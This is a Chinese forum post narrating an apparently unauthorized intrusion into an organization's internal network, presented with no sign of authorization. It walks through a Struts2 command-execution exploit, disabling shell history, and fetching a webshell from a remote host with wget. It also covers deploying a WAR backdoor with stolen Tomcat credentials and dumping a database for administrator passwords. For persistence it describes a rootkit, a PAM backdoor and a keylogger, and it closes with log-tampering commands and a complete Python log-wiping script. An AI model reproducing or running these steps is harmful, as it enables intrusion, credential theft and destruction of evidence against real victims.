本文首发习科:地址http://bbs.blackbap.org/thread-7483-1-1.html
最近内网权限掉了, 需要重新找外网的入口进内网, 用凤凰扫描器生成字典扫了一下弱口令,人肉查看了c段上的一些web, 扫了扫端口,发现13这台机器上跑了一个wingsoft的软件, 在乌云上找到了一个漏洞, 用st2 -005 漏洞得到了可以远程执行命令的权限 0x02 进入边界服务器 执行 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG;export HISTFILE=/dev/null;export HISTSIZE=0;export HISTFILESIZE=0 复制代码 使系统不记录我们的操作记录 用默认的工具上不去webshell,看了下web目录, chmod 777 +r /js/ 加了可写权限, 依然webshell上不去, 使用wget -O /web/js/help.jsp www.xxx.com/shell.txt 也写入不了文件 执行 locate tomcat-user.xml cat /mulu/tomcat-user.xml 复制代码 找到密码以后进入tomcat后台,部署war包获取webshell, 进去了以后,部署一句话后门若干, 并修改掉文件创建的时间,开始在webshell 上收集信息,为内网渗透做准备 netstat -tlnp //查看内网连过来那些端口 复制代码10.19.1.56 10.19.1.66 192.168.1.184 10.19.1.150 10.22.1.222 10.22.1.249 [size=14.399999618530273px]10.22.1.249 翻一番配置文件。找数据库在10.48.14.52 网段连接进去把裤子拖出来, 查找管理员的密码, 翻到3个管理员(*陈,刘*,彭*) 记录下他的密码,看了下 python -h nmap -h 发现环境里有python环境 复制代码 上insightscan.py 去扫描下 然而报错了(然而并没有扫描卵用),上传凤凰扫描器准备增加一点权限, 上传出错, 采用文件下载的方式 wget -O /tmp/xx.zip http://www.baidu.com/xx.zip unzip /tmp/xx.zip chmod 777 ff ./ff --参数 复制代码提示缺少动态连接裤 (tmux: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file or directory )百度了一下 原因一般有两个, 一个是操作系统里确实没有包含该共享库(lib*.so.*文件)或者共享库版本不对, 遇到这种情况那就去网上下载并安装上即可. 另外一个原因就是已经安装了该共享库, 但执行需要调用该共享库的程序的时候, 程序按照默认共享库路径找不到该共享库文件. 参考连接:http://www.jb51.net/article/35383.htm 0x03 权限维持 (1)安装rootkit 安装的应用级的rootkit,基本就是一个加密的nc,配置好端口 root 和密码就可以了 (2)安装pam后门记录root密码 本地是root权限,我们需要本地的root密码,在/etc/shadow解密不了的情况下, 可以安装pam后门或者ssh后门记录root密码 获取pam版本:rpm -qa|grep pam 复制代码 参考:http://www.freebuf.com/articles/system/24104.html http://www.nxadmin.com/system/1199.html (3)安装keyloger https://github.com/dorneanu/ixkeylog/ 0x04 日志清理 (1) web日志的清理 awk ‘!/123.123.123.123|111.111.111.111|phpspy.php/‘ /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log 复制代码touch -amt 200901231532 文件名 这样把时间改回来 当然 也有批量修改时间的小技巧 ls|xargs touch -amt 200901231532 #这句话就可以直接改时间 复制代码 (2)系统日志的清理 用的是王子牛的python脚本 #!/usr/bin/env python import os , sys , subprocess def banner(): print ‘‘‘ This is linux log clear script \n Welcome to www.90sec.org\n Python log.py 127.0.0.1\n By:Mr,PriNce‘‘‘ try: host = sys.argv[1] if len(sys.argv) < 1: banner log = ["/var/log/messages","/var/log/messages.1","/etc/syslog.conf","/var/log/secure","/var/log/message","/var/log/lastlog","/var/log/auth.log","/var/log/vsftpd.log","/var/log/apache2/access.log","/var/log/apache2/error.log","/var/log/apache2/error.log.1","/usr/local/httpd/error.log","/apache/apache/message.log","/var/log/apache2/access_log","/var/log/apache2/error.log","/var/log/apache2/error_log ","/var/log/apache/access.log","/var/log/apache/access_log","/var/log/apache/error.log","/var/log/apache/error_log","/var/www/logs/error_log"," /var/www/logs/error.log"," /var/www/logs/access_log","/var/www/logs/access.log","/usr/local/apache/logs/error_log"," /usr/local/apache/logs/error.log","/usr/local/apache/logs/access_log","usr/local/apache/logs/access.log","/var/log/error_log","/var/log/error.log","/var/log/access_log","/var/log/access.log","/usr/local/apache/logs/error_logerror_log.old","/usr/local/apache/logs/access_logaccess_log.old","/var/log/access.log","/var/log/access_log","/usr/local/apache/logs/error_log","/usr/local/apache/logs/error.log","/usr/local/apache/logs/access.log","/var/log/messages.1","/var/log/messages.2","/var/log/messages.3","/var/log/messages.4","/var/log/secure.1","/var/log/secure.2","/var/log/secure.3","/var/log/secure.3","/var/log/secure.4"] for line in log: if os.path.exists(line): subprocess.call("sed -i ‘/%s/d‘ %s" % (host , line),shell=True) print "[+]: %s " % (line) else: print "[-]: %s " % (line) except Exception: banner() 复制代码 来习科这么久了 , 也为习科写篇文章,未完待续, 内网有2个域,现在还在第一个域徘徊,还没拿到域控权限, 未完待续把。。。
时间: 2024-11-01 15:01:32